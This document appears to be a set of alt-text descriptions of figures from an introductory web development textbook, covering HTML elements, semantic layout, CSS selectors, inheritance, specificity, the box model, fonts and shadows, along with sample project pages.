The screenshot shows two windows. The window in the background shows
the front page of “Fundamentals of Web development” website with the url,
“funwebdev.com”. It shows links which are labeled as “About, Samples,
Testimonials, Blog, Links, Contacts, Tools”.

The window in the foreground shows the HTML document of the webpage,
opened in Google Chrome's Element Inspector. The “Elements” tab is
highlighted in the tool bar which also has tabs for Resources, Network,
Sources, Timeline, etc. The HTML document in the window shows a number
of <div> elements which are nested over several levels. Most of the <div>
elements show the <class> attribute, while some show the <id> attribute.

One of the highlighed <div> elements is “<div> class=“page”></div>”. A
panel on the right shows the matched CSS rules for this attribute, displaying
the values for background image, background position, width, height, margin
and cursor.



The directory structure is as follows:

“Share your folder”

/ (root folder)

- index.html (file)

- about.html (file)

- example.html (file)

-images / (folder)

* logo.gif (file)

* central-park.jpg (file)

- css / (folder)

* main.css (file)

* images / (folder)

--background.gif (file)

- members / (folder)

* index.html (file)

* randyc / (folder)

-- bio.html (file)

The about.html and example.html in the root folder are marked as “1”. The
about.html and logo.gif in the parent-child directories are marked as “2”. The
about.html and background.gif in the grandparent-grandchild directories are
marked as “3”. The about.html and index.html in the parent-ancestor



directores are marked as “4”. The logo.gif and index.html in the sibling
directories are marked as “5”. “Bio.html” is marked as “6”. And about.html
and index. html are marked as “7”.



The image shows a statement as “<img src="images/central-park.jpg"
alt="Central Park" title="Central Park" width="80" height="40"/>.” In this
statement src="images/central-park.jpg" is labeled as “Specifies the URL of
the image to display (note: uses standard relative referencing),” alt="Central
Park" is labeled as “ “Text in alt attribute provides a brief description of
image's content for users who are unable to see it,” title="Central Park" is
labeled as “Text in title attribute will be displayed in a pop-up tool tip when
user moves mouse over image,” and width="80" height="40"/> is labeled as
“Specifies the width and height of image in pixels.”



The unordered list html is displayed as follows:

<ul>

<li><a href="index.html">Home</a></li>

<li>About Us</li>

<li>Products</li>

<li>Contact Us</li>

</ul>

On a webpage, the list shows four items in bullet points as follows:

* Home

* About Us

* Products

* Contact Us

The html for an ordered list is shown as follows:

<ol>

<li>Introduction</li>

<li>Background</li>

<li>My Solution</li>

<li>

<ol>



<li>Methodology</li>

<li>Results</li>

<li>Discussion</li>

</ol>

</li>

<li>Conclusion</li>

</ol>

The webpage shows this list in this fashion:

1. Introduction

2. Background

3. My Solution

1. Methodology

2. Results

3. Discussion

4. Conclusion

A text pointing to entire first HTML code and parts of second HTML code
reads, “Notice that the list item element can contain other HTML elements.”



The html document is displayed with different sections highlighted and
labeled as follows:

1. <div id=“header”>

…

<div id=“top-navigation”>

…

</div>

</div>

(this section after the <body> tag is labeled as header).

2. <div id=“top-navigation”> <div id=“left-navigation”>

(two lines with the “navigation” command is labeled as <nav>)

3. <div id=“main”>

(A large section of code starting from the above command is labeled as
<main>)

4. <div class=“content”>

(Another part of code inside the “main” part, which starts with the above
command is labeled as <section>).

5. <div class=“story”>

…

</div>

(the code between these commands is labeled as <article>).



<div class=“story”>

…..

6. <div class=“story-photo”>

<img … class=“blog-photo”/>

<p class=“photo-caption”>…

(this code is labeled as <figure>)

7. <p class=“photo-caption”>…

(this code is labeled as <figcaption>)

</div>

<div>

8. <div class=“related-stuff-on-right”>

…

</div>

</div>

(this code is labeled as <aside>)

<div class=“content”>

….

</div>

</div>

9. <div id=“footer”>



…

</div>

(this code is labeled as <footer>)

</body>



A sample layout is displayed with only tags, where different parts are
highlighted and numbered as follows:

1. <header>

…

<nav>

…

</nav>

</header>

2. <header>

…

<nav>

…

</nav>

….and

<main>

<nav>

…

</nav>

3. An entire section that starts with <main>

<nav>



….

</nav>

<h1>Page Title</h1>

4. An entire section of code that starts with <section>

<h2>Stories</h2>

5. <article>

…

</article>

6. <figure>

<img … />

<figcaption>……

7. <figcaption>…..

</figure>

…….

</article>

8. <aside>

…

</aside>

</section>

<section>



…….

</section>

</main>

9. <footer>

…

</footer>

</body>



The image shows a code as follows:

This photo was taken on October 22, 2011 with a Canon EOS 30D camera.

<figure> <img src="images/central-park.jpg" alt="Central Park"/>
<figcaption>Conservatory Pond in Central Park</figcaption> </figure>

It was a wonderfully beautiful autumn Sunday, with strong sunlight and
expressive clouds. I was very fortunate that my one day in New York was
blessed with such weather!

Beside this code a text is shown which reads as “Figure could be moved to a
different location in document … But it has to exist in the document (That is,
the figure isn't optional).”

It also shows a browser window with a figure. The text above the figure is
“This photo was taken on October 22, 2011 with a Canon EOS 30D camera.”
The text below the image is “It was a wonderfully beautiful autumn Sunday,
with strong sunlight and expressive clouds. I was very fortunate that my one
day in New York was blessed with such weather!”



The illustration shows an html document and two webpages. The html
document is displayed as follows:

<body>

<h2>Girl with a Pearl Earring</h2>

<details>

<summary>Image</summary>

<img src=“images/106020.jpg”><br>

<p>Museum: Royal Picture Gallery Mauritshuis ...

</details>

<details>

<summary>Artist</summary>

<p><strong>Jan Vermeer</strong> was a Dutch ...

</details>

<details>

<summary>Information</summary>

<p>

Date: 1665<br>

Medium: Oil on Canvas

</p>

</details>



</body>

Three lines with the <summary> element point to a small webpage on top.
The three lines are:

<summary>Image</summary>

<summary>Artist</summary>

<summary>Information</summary>

The small webpage on top displays only the below lines, with the last three
lines being expandable links.

Girl with a Pearl Earring

>Image

>Artist

>Information

Another webpage is displayed below. A small section of the html document
points to this webpage. The html code is as follows:

<details>

<summary>Image</summary>

<img src=“images/106020.jpg”><br>

<p>Museum: Royal Picture Gallery Mauritshuis ...

</details>

The webpage shows the portrait of a girl wearing an earring. The caption
reads, “Clicking on the summary label reveals the rest of the content with the
<details> container”



This webpage is headed as “Clicking on the summary label reveals the rest of
the content with the <details> container.”



The editor shows a number of tabs on top, labeled File, Edit, View, Insert,
Modify etc. The page displayed is from “Chapter 5-project 1” and is titled as
“Camille Bernard's Posts”. The preview of three blog posts is displayed along
with photos and a “Read more” tab.

The latest post is displayed on top, and is selected for editing. An HTML
window is open next to the post preview. It displays fields for src, alt, width,
height and link.

Right panel shows the CSS designer tab where user can filter CSS rules, and
also edit html code below. Other tabs like Files, CC Library, Insert and
Snippet are also available in this panel.



The screen shows three tabs. In the open tab, an html code is written with
various class attributes. First part of the code is commented as “Main info”.
Second part of the code is commented as “Tabs for Details, Museum, Genre,
Sub, etc”.

An editor help window is opened, showing various options for the user to
choose from.



The eclipse window shows left bar that lists project, package and class
details. Middle section shows code, along with a help window open. Right
bar lists the php functions. The code run results are displayed in the bottom
panel.



The window shows two tabs. The open tab shows the html code written with
various class attributes. The left bar displays project and the different folders
and files in it. The code run results are displayed in the bottom panel.



The window is divided into two horizontal parts. Upper part shows three
vertical sections. Left section shows the HTML code, middle section shows
CSS code and the right section shows JS code. Buttons labeled as Save,
Settings, and Change View are displayed on top panel.

Bottom part of the screen shows outputs from three codes in the top section.
A panel at bottom of the screen has buttons labeled as Console, Assets,
Embed, Comments, Delete, and Shortcuts.



URL of the webpage reads “chapter03-project01.html”. The page heading is
“Share your travels”. A logo of camera is displayed next to the heading. Text
pointing to this logo reads, “images/logo.png”.

Three links are displayed below the heading. Text pointing to these links
reads, “Links to <h2> headings”

The webpage displays a photo of a pond with the following heading and
descriptions:

“New York - Central Par

Description

Photo by Randy Connolly

This photo of Conservatory Pond in Central Park in New York city was taken
on October 22, 2016 with a Cannon EOS 30D camera.”

A few icons are displayed below photo next to “Options”. Text pointing to
these icons reads, “These icons are in the images folder”.

Below it, three more landscape photos are displayed. Text pointing to these
photos reads, “Each of these should be links to larger version. Also, don't
forget alt and title attributes”

Two reviews are displayed below. Text pointing to one of them reads, “Use
the same structure as the other review”.

Bottom of the page shows three links titled Home, Browse, and Search. Text
pointing to these reads, “These links can just be to '# (hash symbol)' ”.



The web page is titled as “CRM admin”. Different parts of the page are
highlighted to indicate semantic tags to be used, as follows:

Four links are displayed just below the title. Tag to be used is indicated as
“navigation”.

A photo is displayed under “Employee Profile”. Tag to be used is indicated
as “section”.

Another section is titled “Personal data”, and it shows address and phone
number of the employee. This part is tagged as “section”.

A third section is titled “Customers”. The tag here is also “section”.

A section titled “New inventory” is displayed below “Customers”. The tag
displayed here is “aside”.

At the bottom of the page, a few links are provided. The tag indicates them as
“footer”.



The web page is titled “My sample art store”. It displays portraits of famous
19th century paintings, followed by a brief description and specifications and
an option to purchase it online or favorite it.

An annotation pointing to “home”, “artists”, “search” links below the heading
reads, “All links can just be to 'hash symbol”.

Another annotation pointing to one of the portraits displayed reads, “Be sure
to use appropriate semantic elements (figure, header, main, etc).”

Text pointing to portrait header--“Mademoiselle Caroline Riviere”, reads,
“Note the accent on the e character in Riviere”.

Text pointing to the “cart” symbol reads, “Both the image and text are links”.



Four devices are placed together, displaying the same website. A desktop,
laptop, tablet, and mobile phone with their screen sizes in decreasing order
are placed side by side. They show homepage of a website labeled
“Poseidon” without much difference in styling and presentation.



A code, labeled as “syntax” is displayed as:

selector { property: value; property2: value2; }

The entire line is labeled as “rule”. The section “{ property: value; property2:
value2; }” is labeled as declaration block, and “property: value” is labeled as
declaration.

Another block of code, labeled as “examples” is displayed below as:

em { color: red; }

p {

margin: 5px 0 10px 0;

font-weight: bold;

font-family: Arial, Helvetica, sans-serif;

}

In this code, “em” is labeled as selector, “Color” is labeled as property, and
“red” is labeled as value.



The structure is shown as follows:

<html>

- <head>

* <meta>

* <title>

- <body>

* <h1>

* <h2>

* <p>

- <a>

- <strong>

* <img>

* <h3>

* <div>

- <p>

* <time>

- <p>

* <div>

- <p>



* <time>

- <p>

* <p>

-<small>



The

class selector code is displayed as follows:

.first {

font-style: italic;

color: red;

}

The browser screen next to the code displays the following lines:

Reviews

by Ricardo on 2016-05-23

Easy on the HDR buddy.

(line-separator)

By Susan on 2016-11-18

I love Central park

Arrows are drawn from the code block to three lines in the webpage
(“Reviews, By Ricardo, and By Susan”). These three lines are displayed in
italics, and in a red font, as specified in the code.



The Id selector code is displayed as follows:

#latestComment {

font-style: italic;

color: red;

}

The browser window next to code displays following lines:

“Review

by Ricardo on 2016-05-23

Easy on the HDR buddy.”

(line-separator)

“By Susan on 2016-11-18

I love Central park”

Arrows are drawn from the code block to two lines in the webpage (“By
Ricardo, Easy on the HDR buddy”). These two lines are displayed in italics,
and in a red font, as specified in the code.



The attributor selector code is displayed as follows:

[title] {

cursor: help;

padding-bottom: 3px;

border-bottom: 2px dotted blue;

text-decoration: none;

}

A browser next to the code displays a webpage titled “Canada”. A small flag
of Canada is shown above the title. The webpage shows a paragraph that
describes Canada, followed by three landscape photographs.

Arrows are drawn from the code block to the webpage, highlighting the
following three items: Canadian flag, the title “Canada”, and three landscape
photographs. All the three items have a blue dotted line under them, as
specified in the code.



A line of code is displayed as follows:

div p { … }

Here, div is labeled as “context”, and p is labeled as “selected element”. An
arrow points from p towards div. Text below this code reads, “Selects a <p>
element somewhere within a <div> element”.

Another line of code is displayed in the illustration as follows:

#main div p:first-child { … }

Here, an arrow is drawn from “first” to “div” and to “main”. Text below this
code reads, “Selects the first <p> element somewhere within a <div> element

that is somewhere within an element with an id=“main”.



The code is displayed as follows:

<body>

<nav>

<ul>

<li><a href=“#”>Canada</a></li>

<li><a href=“#”>Germany</a></li>

<li><a href=“#”>United States</a></li>

</ul>

</nav>

<div id=“main”>

Comments as of <time>2016-12-25</time>

<div>

<p>By Ricardo on <time>2016-05-23</time></p>

<p>Easy on the HDR buddy.</p>

</div>

<hr/>

<div>

<p>By Susan on <time>2016-11-18</time></p>

<p>I love Central Park.</p>



</div>

<hr/>

</div>

<footer>

<ul>

<li><a href=“#”>Home</a> | </li>

<li><a href=“#”>Browse</a> | </li>

</ul>

</footer>

</body>

Four contextual selectors are displayed as follows:

“ul a:link { color: blue; }”: this code points to the three lines at the beginning
of the code and two lines at the end of the code, starting with <a href =....</a>

“#main time { color: red; }”: this code points to the three lines where time is
mentioned as <time>....</time>

“#main>time { color: purple; }”: this code points to the first line where time
is mentioned as <time>...</time>

“#main div p:first-child { color: green; }”: this code points to the two lines
which begin with <p> By Ricardo and <p> By Susan.



The figure shows code in the box as:

body {

font-family: Arial;

color: red;

border: 8pt solid green;

margin: 60px;

}

In the above code the second and third lines are inherited and fourth and fifth
lines not inherited.

It also shows inheritance as:

<html>

<head>

<meta>

<title>

<body> (red)

<h1> (red)

<h2> (red)

<ul> (red)

<li> (red)

<li> (red)



<h3> (red)

<p> (red)

<a> (red)

<p> (red)

<div> (red)

<p> (red)

<time> (red)

<p> (red)

<div> (red)

<p> (red)

<time> (red)

<p> (red)

<p> (red)

<small> (red)

A browser window is also shown with a text in red color, enclosed by a green
border.



The figure shows code in the box as:

div {

font-weight: bold;

margin: 50px;

border: 1pt solid green;

}

In the above code the second line is inherited and third and fourth lines not
inherited.

It also shows inheritance as:

<html>

<head>

<meta>

<title>

<body>

<h1>

<h2>

<ul>

<li>

<li>

<h3>



<p>

<a>

<p>

<div>

<p>

<time> (red)

<p>

<div>

<p>

<time> (red)

<p>

<p>

<small>

A browser window is also shown with texts enclosed by a green border.



The code is displayed in the illustration as follows:

<h3>Reviews</h3>

<div>

<p>By Ricardo on <time>2016-05-23</time></p>

<p>Easy on the HDR buddy.</p>

</div>

<hr/>

<div>

<p>By Susan on <time>2016-11-18</time></p>

<p>I love Central Park.</p>

</div>

<hr/>

The properties and values which are applied to the <div> and <p> elements
are shown in the following code:

div {

font-weight: bold;

margin: 50px;

border: 1pt solid green;

}

p {



border: inherit;

margin: inherit;

}

Here, “inherit” value applied to the border and margin inside the <p> element
are highlighted.

A screenshot shows the webpage where this code is rendered. Heading of the
webpage is “Reviews”. It shows four lines as follows:

By Ricardo on 2016-05-23

Easy on the HDR buddy.

By Susan on 2016-11-18

I love Central Park.

Each of these lines are encased inside a green box, and are also displayed
with a margin that separates them from the surrounding box, as specified in
the “inherit” value which is applied to border and margin.



Code displayed in the illustration is as follows:

<body>

This text is not within a p element.

<p>Reviews</p>

<div>

<p>By Ricardo on <time>2016-05-23</time></p>

<p>Easy on the HDR buddy.</p>

This text is not within a p element.

</div>

<hr/>

<div>

<p>By Susan on <time>2016-11-18</time></p>

<p>I love Central Park.</p>

</div>

<hr/>

<div>

<p class=“last”>By Dave on <time>2016-11-24</time></p>

<p class=“last” id=“verylast”>Thanks for posting.</p>

</div>



<hr/>

</body>

The inheritable properties of the body element are defined as follows:

body {

font-weight: bold;

color: red;

}

However, the four child elements of <body> override the font-weight and
color properties with their own specific values. The code for these child
elements is displayed as follows:

div {

font-weight: normal;

color: magenta+K11;

}

p {

color: green;

}

.last {

color: blue;

}

#verylast {



color: orange;

font-size: 16pt;

}

A screenshot shows the webpage on which this code is rendered. Only the
first line “This text is not within a p element” is shown in bold font with a red
color.

The second time this text appears, it is shown in a magenta color and normal
font, as specified in the <div> element. The reviews by Ricardo and Susan
are shown in a green font, as specified by the <p> element. And the last two
lines are displayed in blue and orange colors instead of red, as specified in the
.last and #very last elements.



The algorithm shows a heirarchy of six elements along with their specificity
value and an example. The elements with higher specificity value override
those with a lower specificity value, as mentioned in the illustration.

The order in which elements override each other, along with their specificity
value is as follows:

5) inline style attribute: (specificity value: 1000)

example code: <div style=“color: red;”>

(overrides )

id+ additional selectors: (specificity value: 0101)

example code: div #firstExample {color: grey;}

4) id+ additional selectors: (specificity value: 0101)

example code: div #firstExample {color: grey;}

(overrides)

id selector: (specificity value: 0100)

example code: #firstExample {color: magenta;}

3) id selector: (specificity value: 0100)

example code: #firstExample {color: magenta;}

(overrides)

class and atribute selectors: (specificity value: 0010)

example code: .example {color: blue;} a[href$=“.pdf”] {color: blue;}

2) class and atribute selectors: (specificity value: 0010)



example code: .example {color: blue;} a[href$=“.pdf”] {color: blue;}

(overrides)

descendant selector: (specificity value: 0002)

example code: div form {color: orange;}

1) descendant selector: (specificity value: 0002)

example code: div form {color: orange;}

(overrides)

element selector: (specificity value: 0001)

example code: div {color: green;}



The code is displayed in the illustration as follows:

<head>

<link rel=“stylesheet” href=“stylesA.css” />

<link rel=“stylesheet” href=“stylesWW.css” />

<style>

#example {

color: orange;

color: magenta;

}

</style>

</head>

<body>

<p id=“example” style=“color: red;”>

sample text

</p>

</body>

The illustration specifies that “color: red;” overrides “color: magenta;” and
“color: magenta” overrides “color: orange;”. Further, “#example” overrides
the second link statement. The second link overrides the first link statement.
The first link statement overrides the “user-style.css” displayed on top of the
first <head> element. And finally the “user-style.css” overrides the
“Browser's default settings”.



The illustration shows two boxes. First box on top shows outline of the CSS
box model. A white rectangular area in the middle is labeled as “element
content area”. Its height and width are marked and labeled. This rectangle is
surrounded by a blue padding and a thin black border. Text inside the blue
padding area reads, “background-color/background-image of element”.

A bigger rectangle drawn with broken lines surrounds the inner rectangle.
The space between the two rectangles is labeled as “margin”. Text in this
space reads, “background-color/background-image of element's parent”.

Second box below shows a webpage rendered using the CSS box model. It
shows a rectangular space in the middle with following text:

“Every CSS rule begins with a selector. The selector identifies which element
or elements in the HTML document will be affected by the declarations in the
rule. Another way of thinking of selectors is that they are a pattern that is
used by the browser to select the HTML elements that will receive…”

This text is surrounded by a blue padding, and a thin black border. Another
black and gray padding surrounds the black bordered rectangle.



The illustration shows a small square with black and gray tiles, which is used
as a background image. The url of this image is shown as:

background-image: url(../images/backgrounds/body-background-tile.gif);

The repeat property is used with this background image in the following
code:

“background-repeat: repeat;”

A screenshot shows the webpage on which this code is rendered. The entire
screen is filled with the background image.

Similarly, no-repeat property is used in the following code:

background-repeat: no-repeat;

When rendered on a webpage, the background image is shown in the top left
part of the screen, without repeating anywhere.

The repeat-y property is used in the following code:

background-repeat: repeat-y;

When rendered on a webpage, the background image repeats along the
vertical axis, filling up the left part of the screen.

Finally, the repeat-x property is used in the following code:

background-repeat: repeat-x;

When rendered on a webpage, the background image repeats along the
horizontal axis, filling up the upper part of the screen.



The code is displayed as follows:

body {

background: white url(../images/backgrounds/body-background-tile.gif) no-
repeat;

background-position: 300px 50px;

}

In this code, the line “background-position: 300px 50px;” is highlighted.

A screenshot above the code shows a black square surrounded by a white
background. The horizontal length of the background is measured as 300px
while the vertical length is measured as 50px, as specified in the code.



The figure shows three screenshots. First screen on top shows a webpage
with three paragraphs which are displayed close to each other without
margins or padding. A red border surrounds the paragraphs.

The corresponding code for this webpage is displayed as follows:

p {

border: solid 1pt red;

margin: 0;

padding: 0;

}

In the second screenshot, paragraphs are separated by a margin space, and are
clearly visible. Each paragraph has its own red border.

The code for this webpage, with an emphasis on “margin”, is as follows:

p {

border: solid 1pt red;

margin: 30px;

padding: 0;

}

Third screenshot shows each of the three paragraphs padded up inside their
red borders in addition to margins they share with other paragraphs.

The code for this webpage, with an emphasis on “padding”, is as follows:

p {



border: solid 1pt red;

margin: 30px;

padding: 30px;

}



The code is displayed as follows:

<div>

<p>Every CSS rule ...</p>

<p>Every CSS rule ...</p>

</div>

<div>

<p>In CSS, the adjoining ... </p>

<p>In CSS, the adjoining ... </p>

</div>

A screenshot shows how this code is rendered on a webpage. Two <div>
elements are shown one below the other, with each of them holding two
paragraphs each.

Another code is displayed in the illustration, specifying the margin values of
the <div> and <p> elements, as follows:

div {

border: dotted 1pt green;

padding: 0;

margin: 90px 20px;

}

p {

border: solid 1pt red;



padding: 0;

margin: 50px 20px;

}

The screenshot also displays margin values between <div> elements and
individual <p> elements within them. The margin between first div element
and the upper border is displayed as 90px. The margin between second div
element and lower border is displayed as 90px. However, the margin between
two div elements is displayed, not as 180px, but as 90px, because of the
collapsed vertical margin attribute.

Similarly, in each of the div elements, margin between the first paragraph and
upper border is displayed as 50 px. The margin between second paragraph
and lower border is displayed as 50px. Margin between the two paragraphs is
again displayed as 50px and not 100px, because of collpased vertical margin
attribute.



The figure shows a clock labeled as TRBL(Trouble). The four letters stand
for Top, Right, Bottom, and Left, which are marked around the clock.

A code syntax for TRBL is displayed as follows:

border-color: top right bottom left;

The same code is displayed inside a colorful box, along with color values, as
follows:

border-color: red green orange blue;

Each of the margins of the box are colored according to values in the code.
The top margin of the box is in red color. The right margin is green. The
bottom margin is orange, and the left margin is shown in blue.



In the first, “content-box” approach, code is displayed as follows:

div {

box-sizing: content-box;

width: 200px;

height: 100px;

padding: 5px;

margin: 10px;

border: solid 2pt black;

The element is shown below code. It shows a white rectange whose width is
200px and height is 100px. It has a blue padding of 5 px, a black margin line
measured as 2, and a margin of 10 px.

The true size of the element is displayed above the element in the following
statements:

True element width = 10 + 2 + 5 + 200 + 5 + 2 + 10 = 234 px

True element height = 10 + 2 + 5 + 100 + 5 + 2 + 10 = 134 px

In the second, “border-box” approach shown below, the code is displayed as
follows:

div {

…

box-sizing: border-box;

}



The element shown below code depicts a white rectange with blue padding,
encased within a black border. The height of rectangle between two black
borders is measured as 100px. The width is again measured between borders
as 200px, and margin of the rectangle from the screen border is measured as
10px on all sides.

The true size of this element is shown in following statements, displayed
above the element:

True element width = 10 + 200 + 10 = 220 px

True element height = 10 + 100 + 10 = 120 px



A screenshot shows a webpage in which a paragraph is displayed with a
silver background. The width and height are set to default in this case. The
code for <p> properties is shown as follows:

p {

background-color: silver;

}

Another piece of code is displayed where width and height are specified, as
follows:

p {

background-color: silver;

width: 200px;

height: 100px;

}

When this code is rendered on screen, width and height of the text shrinks.
The silver background is applied only to 200px by 100px dimension, leaving
half of the text with a silver background, and the other half without any
background color.



The illustration shows four windows in which overflow property is applied.

First window shows half of the text with a silver background and the other
half without any background. The overflow property value is displayed as,
“overflow: visible”.

In the second window, overflow property is set to be “hidden”. On the screen,
only half of the text with silver background is displayed. The other half
without any background is hidden.

In third and fourth windows, overflow property is set to “scroll” and “auto”
respectively. In both screens, a scroll bar is displayed, displaying half of the
text which has a silver background. On scrolling, rest of the text comes in
view with a silver background.



The illustration shows percentage code and its rendering in two parts.

In the first part, a code is displayed as follows, with two <div> elements
inside a body:

<body>

<div class=“pixels”>

Pixels - 200px by 50 px

</div>

<div class=“percent”>

Percent - 50% of width and height

</div>

</body>

When rendered on screen, the webpage shows two boxes. Box on top depicts
the text, “Pixels -200px by 50 px”, and has a silver background. Box at the
bottom depicts text, “Percent - 50 % of width and height”, and has an olive
background.

The style code for these two elements is displayed as:

html,body {

margin:0;

width:100%;

height:100%;

background: silver;



}

.pixels {

width:200px;

height:50px;

background: teal;

}

.percent {

width:50%;

height:50%;

background: olive;

The code is rendered in two screens of different sizes. In both screens, box on
top shows width and height in pixels. So this box shows the same dimensions
when screen size is reduced or expanded.

In bottom box, the width and height are expressed in percentages. The
dimensions of this box change according to the screen size. When the screen
size is increased, the width and height of this box is shown to be 50 percent
of the total screensize.

Second part of the illustration shows the following code, with a child <div>
class expressing its dimensions in percentages shown inside a fixed size
parent and a relative size parent.

<body>

<div class=“parentFixed”>

<strong>parent has fixed size</strong>



<div class=“percent”>

PERCENT - 50% of width and height

</div>

</div>

<div class=“parentRelative”>

<strong>parent has relative size</strong>

<div class=“percent”>

PERCENT - 50% of width and height

</div>

</div>

</body>

When rendered on screen, the webpage shows two boxes which hold a child
box inside them. The box on top is a parent with a fixed size, and the box at
the bottom is a parent with a variable size. The child box inside them has
dimensions which are 50 percent of the parent's dimensions.

The style codes for the parent boxes is displayed as follows:

.parentFixed {

width:400px;

height:150px;

background: beige;

}



.parentRelative {

width:50%;

height:50%;

background: yellow;

}

The code is rendered in two screens of different sizes. The first parent box
has a fixed size in px, so in a small screen it fills up entire breadth of the
screen, but in a large screen, it occupies only a small part of the screen. And
the child box inside the parent occupies 50 percent of the parent's dimension.

Second parent box below has a variable size, expressed in percentages, so
when the screensize increases, size of the parent box too increases to 50
percent of the total screensize. And the child box inside the parent also
expands, to fill up 50 percent of the parent's dimensions.



The illustration shows developer tools of four browsers. Top left screen
shows “Inspect Element” in Chrome. Top half of the screen shows the
webpage under inspection. Two paragraphs are highlighted with a red border.
In the bottom half of the screen, left part shows CSS code. Right half shows a
schematic diagram of the margins, padding and borders around the box
element.

Top right screen shows “Inspect” feature in Firefox. Left part of the screen
shows webpage under inspection. One paragraph is highlighted inside a red
border. In the right part of the screen, CSS code pertaining to highlighted
paragraph is shown on top. Diagram depicting margins, padding and borders
around the box element is shown below.

Bottom left screen shows “Developer tools” in Internet explorer. It shows
two windows. Window in the background shows webpage under inspection.
Window in the foreground shows CSS code in the left part and the schematic
box diagram at the right.

Bottom right screen shows “Inspect Element” in Opera. It looks similar to
Chrome, with top half screen displaying webpage under inspection, and
bottom left part showing CSS code and the bottom right displaying the
schematic box diagram.



A code is displayed as follows:

p { font-family: Cambria, Georgia, “Times New Roman”, serif; }

Text pointing to “Cambria” reads: “1) Use this font as the first choice.”

An arrow points from Cambria to “Georgia”. Text below it reads: “2) But if
it's not available, then use this one.”

Another arrow points from Georgia to “Times new roman”. Text above it
reads,: “3) If it isn't available, then use this one.”

A fourth arrow points from Times new roman to “serif”. Text below it reads:
“4) And if it is not available either, then use the default generic serif font.”



Illustration displays the word “This” in five different fonts. These fonts
belong to five generic font-families, displayed one below the other as
follows:

serif

sans-serif

monospace

cursive

fantasy.

First font type “serif” highlights the word T, and shows that end of the top
line is curved downward, hence the name “serif”.

In the second font type, “sans serif”, this curving is absent in the top line.
Hence font name is “sans serif” where sans means “without”.

Third font is monospace where each letter has same width. In contrast, a
regular proportionally-spaced font, each letter has a variable width.

For the last two font types, text is displayed which says, “Decorative and
cursive fonts vary from system to system; rarely used as a result.”



A code is displayed as follows:

<body>

Browser's default text size is usually 16 pixels

<p>100% or 1em is 16 pixels</p>

<h3>125% or 1.125em is 18 pixels</h3>

<h2>150% or 1.5em is 24 pixels</h2>

<h1>200% or 2em is 32 pixels</h1>

</body>

The font size property values for this code are shown as follows using a 16px
scale.

body { font-size: 100%; }

p { font-size: 1em; } /* 1.0 x 16 = 16 */

h3 { font-size: 1.125em; } /* 1.25 x 16 = 18 */

h2 { font-size: 1.5em; } /* 1.5 x 16 = 24 */

h1 { font-size: 2em; } /* 2 x 16 = 32 */

The code is rendered on the screen and five lines are displayed.

The first line for <body> shows default font size in 16 pixels.

The second line for <p> shows same font size in 100 percent or 1 em.

The third line for <h3> shows font size that is 125 percent of default size,
which is 1.125 em or 18 pixels.



The fourth line for <h2> shows font size that is 150 percent of defaul tsize,
which is 1.5 em or 24 pixesl.

The last line for <h1> shows font size that is double the default size, or 200
percent, which is 2 em and 32 pixels.



The code is displayed as follows:

<body>

<p>this is 16 pixels</p>

<h1>this is 32 pixels</h1>

<article>

<h1>this is 32 pixels</h1>

<p>this is 16 pixels</p>

<div>

<h1>this is 32 pixels</h1>

<p>this is 16 pixels</p>

</div>

</article>

</body>

The font size property values for this code are shown as follows, using a 16px
scale:

body { font-size: 100%; }

p { font-size: 1em; } /* 1 x 16 = 16px */

h1 { font-size: 2em; } /* 2 x 16 = 32px */

When rendered on a browser, webpage shows six lines. Three lines, which
have a font size of 1em are shown in the default 16px size. The remaining
lines with a font size of 2em are shown in twice the size at 32 px.



However, when font size is changed for parent elements of <article> and
<div>, actual fonts of the child elements also changes. Code for this change is
as follows:

article { font-size: 75% }

/* h1 = 2 * 16 * 0.75 = 24px

p = 1 * 16 * 0.75 = 12px */

div { font-size: 75% }

/* h1 = 2 * 16 * 0.75 * 0.75 = 18px

p = 1 * 16 * 0.75 * 0.75 = 9px */

When rendered on screen, the webpage shows a smaller fonts for the child
elements in <h1> and <p> lines inside the <article> and <div> parent
elements.



The code is displayed as follows:

body { font-size: 100%; }

p {

font-size: 16px; /* for older browsers: won't scale properly though */

font-size: 1rem; /* for new browsers: scales and simple too */

}

h1 { font-size: 2em; }

In this code, “em” units are used for h1 element, and “rem” units are used for
“p” element.

When the size is reduced for <article> and <div> elements by 75 percent, the
font size is affected for <h1>, but not for <p>, as shown in this code:

article { font-size: 75% }

/* h1 = 2 * 16 * 0.75 = 24p

p = 1 * 16 = 16px */

div { font-size: 75% }

/* h1 = 2 * 16 * 0.75 * 0.75 = 18px

p = 1 * 16 = 16px */

A screenshot next to code shows the lines “this is 32 pixels” displayed
multiple times one below the other in different font sizes.



The webpage is titled “Google fonts”. The background is faded, and a small
window is highlighted in the fore-ground. This small window is titled as “1.
Family selected”, and displays “Droid sans” as the selected font.

The window displays options at top right corner to share and download the
code. Tabs for “Embed” and “Customize” are provided. The “Embed” tab
displays following information:

“Embed font

To embed your selected fonts into a webpage, copy this code into the <head>
of your HTML document.

STANDARD @IMPORT

<link href='https://fonts.googlepis.com//css?family=Droid+Sans”
rel=“stylesheet”>

Specify in CSS

Use the following CSS rules to specify these families:

font-family: 'Droid Sans', sans-serif;”



A webpage shows three lines and a box that holds them for which shadow
properties are applied.

First line displayed in the webpage is “First Shadow”. A semi transparent
shadow is displayed below this text. The code where shadow properties are
applied is shown as follows:

text-shadow: 20px 20px 10px rgba(0,0,0,0.5);

In this code, first 20px is labeled as x offset. The second 20px is y offset.
10px is labeled as blur size. The 0.5 inside the brackets points to the shadow
formed in the webpage. A text next to the shadow reads, “You will likely
want the shadow color to be partly transparent”.

The second line displayed in the webpage is “Second Shadow”. It shows
multiple shadows of different sizes. The code for this line is shown as
follows:

text-shadow:

4px 4px 0 #5C6BC0,

8px 8px 0 #7986CB,

12px 12px 0 #9FA8DA;

A text next to the code reads, “multiple shadows can be defined (separated by
commas)”.

The third line is “Third Shadow”. It shows a very thin shadow. The code for
this line is as follows:

text-shadow: 0 1px 1px #1A237E;

The box that holds the three lines also displays a shadow. The code for this is
shown as follows:

box-shadow: 0px 0px 30px #1A237E;



A text below the code reads, “box shadows work in the same way as text
shadows”.



The webpage is titled as, “Share Your Travels”. It displays a photo of
“Conservatory pond” in Central Park, New York. A few related photos are
displayed below the photo. Two reviews are displayed in the review section
the bottom of the page.

A mouse-hover is displayed above a “Related photos” link that is provided
just below the Webpage heading. The text color and background color of this
link change upon mouse-hovering, in contrast to other links displayed nearby.

A text pointing to this mouse-hover reads, “Add styling to the :hover selector
of all links. Use #00B0FF as the text color for links, and #F50057 as the
hover background color”.

Another text displayed below reads, “Define a sans-serif font stack for
headings, and a serif stack for other text”.

